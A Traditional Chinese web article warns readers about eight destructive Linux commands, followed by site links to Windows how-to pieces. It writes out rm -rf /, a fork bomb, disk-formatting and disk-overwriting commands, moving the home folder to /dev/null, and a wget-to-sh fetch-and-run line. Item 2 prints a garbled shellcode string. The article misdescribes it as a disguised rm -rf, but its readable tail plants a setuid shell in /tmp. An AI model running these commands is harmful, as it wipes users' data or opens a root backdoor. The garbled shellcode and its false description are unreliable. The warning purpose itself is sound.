絕對不應該在 Linux 上運行的 8 個致命命令

絕對不應該在 Linux 上運行的 8 個致命命令

Linux 上的終端​​命令具有相當大的破壞性,如果你執行一個命令,它就會破壞你的系統。 Linux 在執行任何命令時不需要您確認。

了解哪些命令不應在 Linux 上運行有助於在 Linux 上工作時保護您的系統。以下是 8 個絕對不應該在 Linux 上運行的致命命令。

絕對不應該在 Linux 上運行的 8 個致命命令

1. rm -rf / - 刪除所有內容

rm -rf / 指令將刪除所有內容,包括硬碟上的檔案以及連接到電腦的媒體裝置上的檔案。

為了更好地理解該命令,分析如下:

  • rm – 刪除以下檔案。
  • -rf – 執行 rm(刪除指定資料夾內的所有文件和資料夾)並強行刪除所有文件,而不先詢問您。
  • / – 告訴 rm(例如 rm)從根目錄開始,包括電腦上的所有檔案。

Linux 會很高興地遵循這個命令並刪除所有內容而不警告你,所以使用這個命令時要小心。

此外,rm指令的使用方式也非常危險。例如, rm –rf ~ 將刪除主資料夾中的所有文件,而 rm -rf .* 將刪除所有設定檔。

2.偽裝指令 rm –rf /

以下是網路上隨處可見的一段程式碼:

char esp[] __attribute__ ((section(".text"))) /* esp 釋放 */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7 “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”「\x8d\x73\x08\x56\x53\x54\x59\xb0\xx0b\x\cdx x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

這本質上是 rm –rf / 的另一個版本 – 執行此命令也會刪除所有文件,就像運行 rm –rf / 一樣。

3. :(){ :|: & };: – 一種重磅炸彈

絕對不應該在 Linux 上運行的 8 個致命命令

下面的命令列看起來很簡單,但它的功能實際上很危險:

:(){ :|: & };:

這個簡短的命令將創建自身的新副本。也就是說,備份過程本身將是連續的,並且很快就會導致您的 CPU 和記憶體被填滿。

它還可能導致您的電腦當機。這基本上是一種拒絕服務 (DoS) 攻擊。

4. mkfs.ext4 /dev/sda1 – 硬碟格式

指令 mkfs.ext4 /dev/sda1 很容易理解:

  • mkfs.ext4 - 在下列裝置上建立 ext4 檔案系統。
  • /dev/sda1 - 標識第一個硬碟上的第一個分割區,這可能是正在使用的硬碟。

組合這兩個命令相當於在 Windows 上格式化 C: 磁碟機 - 刪除第一個分割區上的所有檔案並用新檔案系統取代它們。

此命令可以以多種不同的格式出現,例如 - mkfs.ext3 /dev/sdb2 將使用 ext3 檔案系統格式化第二個硬碟上的第二個分割區。

5. command > /dev/sda - 直接寫入硬碟

絕對不應該在 Linux 上運行的 8 個致命命令

命令列 > /dev/sda - 運行命令並將該命令的結果直接輸出到您的第一個硬碟驅動器,將資料直接寫入硬碟並破壞您的檔案系統。

  • 命令 – 運行命令(可以是任何命令)。
  • > – 將指令輸出傳送到以下位置。
  • /dev/sda – 將指令輸出直接寫入硬碟裝置。

6. dd if=/dev/random of=/dev/sda – 將愚蠢的資料寫入硬碟

dd if=/dev/random of=/dev/sda 行將刪除其中一個硬碟上的資料。

  • dd – 是執行從一個位置到另一個位置的低階複製。
  • if=/dev/random – 使用 /dev/random 作為輸入 – 您可能會看到類似 /dev/zero 的位址。
  • of=/dev/sda – 輸出到第一個硬碟驅動器,用隨機的愚蠢資料取代檔案系統。

7. mv ~ /dev/null – 將您的主目錄移到黑洞

/dev/null - 將某些內容移到 /dev/null 與銷毀它相同。將 /dev/null 視為黑洞。 mv ~ /dev/null 會將您所有的個人檔案傳送到黑洞。

  • mv – 將下列檔案或資料夾移至另一個位置。
  • ~ – 您的整個主資料夾。
  • /dev/null – 將您的主資料夾移至 /dev/null,它將銷毀您的所有檔案並刪除原始副本。

8. wget http://example.com/something -O – | sh – 載入並執行腳本

上面的命令將從網路下載一個腳本並將腳本發送到sh,sh將執行腳本的內容。如果您不確定腳本是什麼或沒有受信任的腳本來源,這可能會很危險 - 不要執行不受信任的腳本。

wget – 下載檔案。

http://example.com/something – 從此位置下載檔案。

| – 將 wget 指令的輸出(下載的版本檔案)直接透過管道(傳送)到另一個指令。

sh – 將檔案傳送到 sh 指令。

更多的文章可以參考下面的文章:

正玩得開心!


什麼是惡意軟體 HackTool:Win32/Keygen?如何去除?

什麼是惡意軟體 HackTool:Win32/Keygen?如何去除?

您是否掃描過您的設備並發現它感染了 HackTool:Win32/Keygen?在您使用破解或金鑰產生器啟動進階軟體後,Windows Defender 可能會自動警告您有關此惡意軟體的存在。

在 Windows 10 上建立備份和還原點(Restore Point)的說明

在 Windows 10 上建立備份和還原點(Restore Point)的說明

探索如何在Windows 10上建立和管理還原點,這是一項有效的系統保護功能,可以讓您快速還原系統至先前狀態。

在 Windows 10 中開啟裝置管理員的 15 種方法

在 Windows 10 中開啟裝置管理員的 15 種方法

您可以使用以下 15 種方法輕鬆在 Windows 10 中開啟<strong>裝置管理員</strong>,包括使用命令、捷徑和搜尋。

Windows「顯示桌面」的 10 種超快速方法

Windows「顯示桌面」的 10 種超快速方法

很多人不知道如何快速顯示桌面,只好將各個視窗一一最小化。這種方法對於用戶來說非常耗時且令人沮喪。因此,本文將向您介紹Windows中快速顯示桌面的十種超快速方法。

如何使用 Windows Repair 修復 Windows 錯誤

如何使用 Windows Repair 修復 Windows 錯誤

Windows Repair 是一款有效的 Windows 錯誤修復工具,幫助使用者修復與 Internet Explorer、Windows Update 和其他重要程式相關的錯誤。

如何在 Windows 10 中開啟資料夾選項或檔案總管選項

如何在 Windows 10 中開啟資料夾選項或檔案總管選項

您可以使用檔案總管選項來變更檔案和資料夾的工作方式並控制顯示。掌握如何在 Windows 10 中開啟資料夾選項的多種方法。

有關在 Windows 10 上刪除使用者帳戶的 5 種方法的說明

有關在 Windows 10 上刪除使用者帳戶的 5 種方法的說明

刪除不使用的使用者帳戶可以顯著釋放記憶體空間,並讓您的電腦運行得更流暢。了解如何刪除 Windows 10 使用者帳戶的最佳方法。

如何使用Bootsect /nt60將VBC更新為BOOTMGR

如何使用Bootsect /nt60將VBC更新為BOOTMGR

使用 bootsect 命令能夠輕鬆修復磁碟區引導程式碼錯誤,確保系統正常啟動,避免 hal.dll 錯誤及其他啟動問題。

Windows 11 中的存檔應用程式功能是什麼?應該啟用還是停用它?

Windows 11 中的存檔應用程式功能是什麼?應該啟用還是停用它?

存檔應用程式是一項功能,可以自動卸載您很少使用的應用程序,同時保留其關聯的檔案和設定。了解如何有效利用 Windows 11 中的存檔應用程式功能。

如何在 Windows 10 上為 BlueStacks 5 啟用虛擬化 (VT)

如何在 Windows 10 上為 BlueStacks 5 啟用虛擬化 (VT)

要啟用虛擬化,您必須先進入 BIOS 並從 BIOS 設定中啟用虛擬化,這將顯著提升在 BlueStacks 5 上的效能和遊戲體驗。